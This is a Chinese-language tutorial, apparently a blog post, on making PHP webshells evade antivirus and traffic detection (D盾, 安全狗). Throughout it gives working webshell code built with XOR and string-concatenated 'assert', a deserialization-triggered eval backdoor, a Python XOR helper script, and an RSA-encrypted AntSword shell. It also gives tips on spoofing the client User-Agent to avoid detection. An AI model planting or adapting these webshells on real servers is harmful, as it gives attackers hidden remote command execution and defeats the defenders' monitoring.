0x01 简介
webshell 不做免杀咋用嘛
eval 与 assert
eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:
$f='assert'; $f(...);
此时 $f 就表示 assert,所以 assert 关键词更加灵活,但是 PHP7 中,assert 也不再是函数了,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。
0x02 实验环境
- PHP Version 5.6.9
- PHP Version 7.3.4
0x03 利用方法
3.1 文件免杀
首先来看常规的字符拼接免杀
<?php $a = 'a'.'s'.'s'.'e'.'r'.'t'; $b='_'.'P'.'O'.'S'.'T'; $c=$$b; $a($c['x']); ?>
级别为2
我们改用异或来构造 assert
<?php $a = ('!'^'@').'s'.'s'.'e'.'r'.'t'; $b='_'.'P'.'O'.'S'.'T'; $c=$$b; $a($c['x']); ?>
降到了1
这里附上参考中的异或脚本
import string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])
用命令python3 xxx.py > results.txt
运行脚本
太简单的 webshell 的变量特征就会很明显,我们用反序列化来让它变的复杂一点
<?php class A{ var $test = "demo"; function __destruct(){ // 利用异或来构造 assert 绕过检测 $b = ('!'^'@').'s'.'s'.'e'.'r'.'t'; $b($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; // 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。 $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 利用拼接来构造 unserialize 绕过检测 $a = 'un'.'serialize'; // 反序列化同时触发_destruct函数 $test_unser = $a($pp); ?>
以上代码就相当于<?php @eval($_POST['test']);?>
此时 D 盾就懵了
安全狗就更不用说了
执行命令phpinfo()
菜刀连接,查看文件
执行 cmd 命令
3.2 流量免杀
可是,如果目标服务器开启了 D 盾的流量检测,那我们的 webshell 还是没法用的
红框内的就是刚刚完全免杀的 webshell,但是连接时会提示403,连接被 D 盾拦截了
这里我们可以利用蚁剑来对流量进行 rsa 加密,打开编码设置 ——> RSA 配置 ——> 生成,将得到的 php 代码放到目标服务器上
原本的代码
<?php $cmd = @$_POST['ant']; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDpEuuL7wqhgaWpF/HlcGGpkJZn x0Hjyc1f+g9NscELnyP+p+hUvxh7AWLudfnPwtx47QRHwAO0bW+RhHkG6cTRwMJO 5PLymzCn578e1DaGInEI2bhCTyx43wMCshd7DTpp0cXjB5QMyHx2rxERTaR02/Fd I1SzS7twmQRMROYPywIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $cmd .= $de; } } eval($cmd);
不过,这个代码早已被杀软标记了,D 盾检测级别4
由于蚁剑不支持 assert,所以我们只能用 eval,而 eval 是不能被可变函数调用的,所以这里就无法对它进行任何操作了,我们还是先尝试利用反序列化来进行免杀
<?php class A{ var $test = "demo"; function __destruct(){ $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDpEuuL7wqhgaWpF/HlcGGpkJZn x0Hjyc1f+g9NscELnyP+p+hUvxh7AWLudfnPwtx47QRHwAO0bW+RhHkG6cTRwMJO 5PLymzCn578e1DaGInEI2bhCTyx43wMCshd7DTpp0cXjB5QMyHx2rxERTaR02/Fd I1SzS7twmQRMROYPywIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $this->test); $pk = openssl_pkey_get_public($pk); $test = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $test .= $de; } } eval($test); } } $test = $_POST['test']; $len = strlen($test)+1; // 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。 $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 反序列化同时触发_destruct函数 $test_unser = unserialize($pp); ?>
令人意外的是,这就直接降到1了
经过我一行代码一行代码地注释测试,是 openssl_public_decrypt 函数引发了警告,这。。。
新建编码器
在添加数据时,选择刚才创建的编码器
同时记得修改 UA,默认的 UA 为 antSword/v2.1,相当于向杀软自报家门了
虽然文件有1级警告,但是连接测试,没有任何问题,并且,由于我们没有顾忌拼接 eval 的问题,所以,这个马是可以在 PHP7 中使用的
利用 burp 抓包,查看执行whoami
命令时的发送包
返回包
我尝试了多种方法来处理 openssl_public_decrypt 函数,始终没法彻底消除警告,看来只有用别的加密方法了,不过这也给了我 PHP7 以后的 webshell 免杀思路,虽然 assert 也不再是函数了,但是,当把马儿写的够复杂的时候,那些杀软就没辙了。
0x04 参考
PHP序列化反序列化漏洞总结(一篇懂)
PHP webshell 免杀姿势总结
蚁剑去除流量特征